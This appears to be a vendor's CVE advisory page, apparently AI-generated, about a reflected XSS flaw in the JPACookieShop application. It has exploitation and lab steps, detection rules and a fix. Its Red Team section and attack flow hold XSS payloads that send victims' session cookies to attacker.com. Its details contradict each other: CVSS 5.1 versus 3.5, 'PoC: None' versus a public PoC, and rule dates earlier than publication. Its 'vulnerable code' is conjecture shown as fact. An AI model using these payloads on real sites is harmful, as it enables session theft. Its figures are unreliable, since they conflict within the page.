☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8222

CVE-2025-8222 Cross-Site Scripting in Jerryshensjf
📅 PUBLISHED: 2025-07-27 04:32 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8222 is a publicly disclosed, unauthenticated reflected Cross-Site Scripting (XSS) vulnerability in the JPACookieShop (蛋糕商城JPA版) application by jerryshensjf. The flaw resides in the GoodsController.java file, where user-supplied input is not properly sanitized before being reflected in HTTP responses. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. The CVSS v3.1 base score is 3.5 (Low), but the public availability of a proof-of-concept (PoC) and the lack of a patch elevate the operational risk. The application uses a continuous delivery model with rolling releases, making version tracking difficult. Multiple endpoints are affected, increasing the attack surface.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a Java-based web application (JPA/Spring Boot). No specific package manager (NPM, PyPI, Go, Ruby) is involved. The risk is primarily to the application's own codebase and its deployment environment.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 3.5 (Low)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
  • User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality Impact (C): None (N) – No data exfiltration directly.
  • Integrity Impact (I): Low (L) – Attacker can modify content in the victim's browser.
  • Availability Impact (A): None (N) – No denial of service.

Threat Level: Low (CVSS 3.5) but elevated due to public PoC and no patch. Real-world impact is limited to session hijacking, phishing, or defacement within the victim's browser.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the GoodsController.java file. The controller likely handles requests for viewing product details or searching goods. The application fails to validate or encode user-supplied parameters (e.g., id, name, or search query) before including them in the HTML response. An attacker can inject JavaScript payloads via these parameters.

Example vulnerable endpoint: /goods/detail?id=<script>alert(1)</script>

The server returns an HTML page where the injected script is rendered without sanitization, causing the browser to execute it. Since the application uses JPA (Java Persistence API) and likely Spring MVC, the vulnerability stems from missing output encoding in the view layer (e.g., JSP, Thymeleaf, or direct string concatenation).

Attack Flow:

  1. Attacker crafts a malicious URL: http://target.com/goods/detail?id=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
  2. Attacker sends the link to a victim (e.g., via email, social media).
  3. Victim clicks the link while authenticated to the JPACookieShop application.
  4. The server reflects the payload in the response.
  5. The victim's browser executes the script, sending the session cookie to the attacker.
  6. Attacker uses the stolen cookie to impersonate the victim.

Vulnerable vs. Patched Code

Vulnerable Code (GoodsController.java):

@GetMapping("/goods/detail")
public String getGoodsDetail(@RequestParam("id") String id, Model model) {
    // Directly reflecting user input without sanitization
    model.addAttribute("goodsId", id);
    return "goodsDetail";
}

Patched Code (GoodsController.java):

import org.springframework.web.util.HtmlUtils;

@GetMapping("/goods/detail")
public String getGoodsDetail(@RequestParam("id") String id, Model model) {
    // Sanitize input using HTML encoding
    String safeId = HtmlUtils.htmlEscape(id);
    model.addAttribute("goodsId", safeId);
    return "goodsDetail";
}

The patched version uses HtmlUtils.htmlEscape() to encode special characters (<, >, &, ", ') before rendering. Alternatively, using a template engine with automatic escaping (e.g., Thymeleaf with th:text) would also mitigate the issue.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running JPACookieShop (commit up to 24a15c02b4f75042c9f7f615a3fed2ec1cefb999).
  • No authentication required to trigger the XSS.

Proof-of-Concept (PoC) Payload:

<script>alert('XSS')</script>

Exploit URL:

http://target.com/goods/detail?id=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>

Lab Setup:

  1. Clone the repository: git clone https://github.com/jerryshensjf/JPACookieShop.git
  2. Checkout the vulnerable commit: git checkout 24a15c02b4f75042c9f7f615a3fed2ec1cefb999
  3. Build and run the application (requires Java 8+ and Maven): mvn spring-boot:run
  4. Access the application at http://localhost:8080
  5. Test the PoC URL.

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor web server logs for suspicious parameters containing <script>, onerror=, javascript:, or base64-encoded payloads.
  2. Deploy a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
  3. Use Content Security Policy (CSP) headers to restrict script execution.
  4. Implement input validation and output encoding in the application code.

Response:

  1. If exploitation is detected, block the attacker's IP address.
  2. Invalidate all active user sessions.
  3. Apply the patched code (see above) or implement a virtual patch via WAF.
  4. Conduct a code review of all controller methods for similar vulnerabilities.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests with parameters containing <script>, %3Cscript%3E, or other HTML/JavaScript tags.
    • Outbound connections to attacker-controlled domains from the application server (e.g., http://attacker.com/steal?cookie=...).
  • Host IOCs:
    • Unusual entries in web server access logs (e.g., GET /goods/detail?id=<script>...).
    • Presence of unexpected JavaScript files in the application's static resources.
  • File IOCs:
    • Modified GoodsController.java or other controller files with added sanitization (if attacker patched to hide their tracks).

Detection Engineering

YARA Rule

rule CVE_2025_8222_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting JPACookieShop GoodsController"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-8222"
    strings:
        $xss_pattern1 = /[?&]id\s*=\s*.*<script/i
        $xss_pattern2 = /[?&]name\s*=\s*.*<script/i
        $xss_pattern3 = /[?&]search\s*=\s*.*<script/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on JPACookieShop
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting JPACookieShop endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - '%3Cscript%3E'
            - 'onerror='
            - 'javascript:'
        cs-uri-stem|contains:
            - '/goods/detail'
            - '/goods/search'
    condition: selection
falsepositives:
    - Legitimate use of HTML in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8222 JPACookieShop Reflected XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"/goods/"; http_uri; pcre:"/(id|name|search)=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Apply Input Validation: Sanitize all user-supplied parameters in GoodsController.java and other controllers using HtmlUtils.htmlEscape() or similar.
  2. Use Template Engine Auto-Escaping: Ensure the view layer (e.g., Thymeleaf, JSP) automatically escapes output. For Thymeleaf, use th:text instead of th:utext.
  3. Deploy WAF Rules: Block requests containing <script>, onerror=, or other XSS patterns.
  4. Implement Content Security Policy (CSP): Add the following HTTP header:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    

Long-Term Fixes:

  1. Code Review: Audit all controller methods for similar XSS vulnerabilities.
  2. Security Testing: Integrate SAST (e.g., SonarQube) and DAST (e.g., OWASP ZAP) into the CI/CD pipeline.
  3. Update Dependencies: Ensure all libraries (Spring, JPA, etc.) are up to date.
  4. Monitor for Patches: Since the product uses rolling releases, regularly check the repository for updates.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8222/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.